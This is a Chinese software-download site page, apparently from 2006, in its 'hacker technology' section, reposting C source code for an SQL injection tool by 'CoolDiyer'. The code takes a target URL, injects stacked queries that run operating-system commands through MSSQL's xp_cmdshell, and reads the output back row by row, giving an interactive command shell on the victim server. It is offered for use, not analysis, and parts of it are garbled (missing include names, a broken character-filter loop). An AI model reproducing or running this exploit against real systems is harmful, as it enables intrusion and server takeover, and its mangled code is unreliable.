首页 | 软件分类 | 最近更新 | 推荐软件 | 热门软件 | 国产软件 | 国外软件 | 汉化破解 | 精品源码 | 用户登陆 | 娱乐中心 | MIMI软件
设为主页
收藏本站
| 精彩图片 | 休闲E文 | 免费资源 | IT技巧 | 黑客技术 | QQ空间代码 |
软件搜索:   |发布软件|商业合作|郑重声明
精彩内容加载中...
当前位置:MIMI娱乐网-第天提供最新免费软件下载文章首页黑客技术入侵技术→Sql注入SA权限CMD终结者C源码

Sql注入SA权限CMD终结者C源码


作者:不详  来源于:环球软件园  发布时间:2006-7-3 8:10:36
Poered By CoolDiyer
//由于时间问题,没加注释学过C的应该都能看懂
//////////////////////////////////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include
#pragma comment(lib, "wininet.lib")

char *injurl,*type,*end;
char *GetResult(char *url)
{
 char buffer[1024*8];
 DWORD dwBytesRead=0;
 HINTERNET hNet=InternetOpen("SqlCMD",PRE_CONFIG_INTERNET_ACCESS,NULL,INTERNET_INVALID_PORT_NUMBER,0);
 HINTERNET hUrlFile=InternetOpenUrl(hNet,url,NULL,0,INTERNET_FLAG_RELOAD,0);
 BOOL bRead=InternetReadFile(hUrlFile,buffer,sizeof(buffer),&dwBytesRead);
 InternetCloseHandle(hUrlFile);
 InternetCloseHandle(hNet);
 return buffer;
}
char *ExecCommand(char *cmd)
{
 char url[1024],buff[1024],result[1024],*response,*p,*p1;
 int n=1,i,j;
 memset(url,0,sizeof(url));
 wsprintf(url,"%s%s;CREATE TABLE [SIC_Tmp]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [SIC_Tmp](ResultTxt) EXEC MASTER..XP_CMDSHELL %s;insert into [SIC_Tmp] values ([g_over])--",injurl,type,cmd);
 response=GetResult(url);
 while(1){
 memset(buff,0,sizeof(buff));
 memset(result,0,sizeof(result));
 wsprintf(url,"%s%s and (select top 1 case when ResultTxt is Null then [CoolDiyer][CoolDiyer] else [CoolDiyer]%%2BResultTxt%%2B[CoolDiyer] end from (select top %d id,ResultTxt from [SIC_Tmp] order by [id]) T order by [id] desc)>0%s",injurl,type,n,end);
 response=GetResult(url);
 if(p=strstr(response,"[CoolDiyer]"))p1=strstr(p+11,"[CoolDiyer]");
 else {
 puts("Cannt Injection It");
 return;
 }
 strncpy(buff,p+11,p1-p-11);
 if (!strcmp(buff,"[g_over]")){
 wsprintf(url,"%s%s;DROP TABLE [SIC_Tmp]--",injurl,type);
 GetResult(url);
 return;
 }
 //filter
 for(i=0,j=0;iif(buff==& && buff[i+2]==t && buff[i+3]==;){
 if (buff[i+1]==l)result[j]=<;
 if (buff[i+1]==g)result[j]=>;
 i+=3;
 }
 else if(buff==& && buff[i+1]==q && buff[i+2]==u && buff[i+3]==o && buff[i+4]==t && buff[i+5]==;){
 result[j]=";
 i+=5;
 }
 else result[j]=buff;
 }
 puts(result);
 memset(url,0,sizeof(url));
 n++;
 }
}
void main(int argc,char **argv)
{
 char cmd[1024];
 printf("=[Sql Inj CMD]======================================================\n");
 printf("\tSQL Injection Command Exploit Powered By CoolDiyer\n\n");
 if(argc!=3){
 printf("\tUsage:sqlcmd.exe \n");
 printf("\t\tType:\t0->Number1->char2->Search\n");
 printf("\tExample:\n\t\tsqlcmd.exe http://localhost/index.asp?id=1 0\n");
 printf("=05-12-22===========================================================\n");
 return;
 }
 injurl=argv[1];
 if(atoi(argv[2])==0){
 type="";
 end="";
 }
 if(atoi(argv[2])==1){
 type="";
 end=" and =";
 }
 if(atoi(argv[2])==2){
 type="%";
 end=" and %=";
 }
 while (1)
 {
 printf("Sql Inj CMD>");
 gets(cmd);
 if (!strcmpi(cmd,"exit"))return;
 ExecCommand(cmd);
 }
}



[] [返回上一页] [告诉好友] [发表评论] [打 印] [ 字体: ]
上篇文章:制作邮件网页木马 
下篇文章:入侵私服的方法

∷相关文章∷
· Sql注入SA权限CMD终结者C源码
· SQL注入的新技巧
· SQL注入攻击再次伤及大量网站
·搜索更多与"Sql注入SA权限CMD终结者C源码"相关的文章
·搜索更多与"Sql注入SA权限CMD终结者C源码"相关的文章
·搜索更多与"Sql注入SA权限CMD终结者C源码"相关的文章
·搜索更多与"Sql注入SA权限CMD终结者C源码"相关的文章
·搜索更多与"Sql注入SA权限CMD终结者C源码"相关的文章
·搜索更多与"Sql注入SA权限CMD终结者C源码"相关的文章
∷相关软件∷
  下载声明 - 下载帮助 - 广告联系 - 友情连接 - 用户注册
Copyright © 2003-2008 Www.MiMixz.Com All Rights Reserved .
皖ICP备06010523号